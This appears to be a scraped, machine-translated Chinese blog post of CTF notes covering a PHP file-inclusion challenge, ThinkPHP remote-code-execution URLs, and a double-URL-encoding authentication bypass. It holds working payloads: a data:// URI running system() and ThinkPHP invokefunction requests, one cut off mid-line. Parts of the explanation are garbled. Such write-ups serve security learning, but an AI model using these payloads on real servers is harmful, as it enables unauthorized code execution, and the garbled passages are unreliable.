当前位置:网站首页>CTF record
CTF record
2022-07-02 11:18:00 【freshfox】
Source audit
File contains :
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
1. php://input + post data php Code .

2. ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
thinkphp rce Pay attention when exploiting vulnerabilities payload
Exploit :
payload:
see phpinfo:
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
1
View sensitive files :
http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
First step , To make "admin"===$_GET[id] Don't set up
We can admin Conduct url code , Of course, you can also code one of the letters here a Encoding :%61dmin
The first practical comparison if("admin"==="%61dmin") Don't set up
1
The second step , after G E T [ i d ] = u r l d e c o d e ( _GET[id] = urldecode(
G
ET[id]=urldecode(_GET[id]);, bring $_GET[id] == "admin" establish .
after urldecode After decoding, it becomes admin
The second practical comparison if("admin" == "admin"); establish
1
** Be careful :** When the parameter is passed in id when , The browser will be right and wrong later ASCII The character of the code is carried out once urlencode code , It will be automatically performed once when running urldecode
Because we are url Run directly in the connection , The browser will make a url decode , So we'll do it again url code , That's right admin Code twice and then run
urldecode(%2561)=%61
urldecode(%61)=a
边栏推荐
- 三.芯片启动和时钟系统
- Is bond fund safe? Does the bond buying foundation lose principal?
- TIPC协议
- Is the Ren domain name valuable? Is it worth investing? What is the application scope of Ren domain name?
- 启牛商学院给的股票账户安全吗?能开户吗?
- TIPC介绍1
- TIPC messaging3
- MySQL比较运算符IN问题求解
- Special topic of binary tree -- acwing 3540 Binary search tree building (use the board to build a binary search tree and output the pre -, middle -, and post sequence traversal)
- Special topic of binary tree -- acwing 47 Path with a certain value in binary tree (preorder traversal)
猜你喜欢
![[AGC] build service 3 - authentication service example](/img/89/63f367270e806e89c4ff92360dc3c5.png)
[AGC] build service 3 - authentication service example

Why does LabVIEW lose precision in floating point numbers

二.Stm32f407芯片GPIO编程,寄存器操作,库函数操作和位段操作

From the perspective of attack surface, see the practice of zero trust scheme of Xinchuang
![[play with FPGA learning 5 in simple terms ----- reset design]](/img/57/816a59787259dc32b52897c069e1a6.png)
[play with FPGA learning 5 in simple terms ----- reset design]

I STM32 development environment, keil5/mdk5.14 installation tutorial (with download link)

QT learning diary 8 - resource file addition

ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘

C#多维数组的属性获取方法及操作注意
![Luogu p5536 [xr-3] core city (greed + tree DP looking for the center of the tree)](/img/dc/2aa55c9b3f23c292820a56ea72fedd.png)
Luogu p5536 [xr-3] core city (greed + tree DP looking for the center of the tree)
随机推荐
二.Stm32f407芯片GPIO编程,寄存器操作,库函数操作和位段操作
The difference between self and static in PHP in methods
ImportError: cannot import name ‘Digraph‘ from ‘graphviz‘
ros缺少catkin_pkg
Approximate sum count (approximate
Summary of cases of players' disconnection and reconnection in Huawei online battle service
One trick to quickly realize custom application titlebar
LVM operation
Implementation of six singleton modes
VS2019代码中包含中文内容导致的编译错误和打印输出乱码问题
Skills of PLC recorder in quickly monitoring multiple PLC bits
Binary tree topic -- Luogu p3884 [jloi2009] binary tree problem (DFS for binary tree depth BFS for binary tree width Dijkstra for shortest path)
Tick Data and Resampling
ros gazebo相关包的安装
From the perspective of attack surface, see the practice of zero trust scheme of Xinchuang
从攻击面视角,看信创零信任方案实践
[AGC] how to solve the problem that the local display of event analysis data is inconsistent with that in AGC panel?
ROS lacks xacro package
TIPC messaging3
sqlite 修改列类型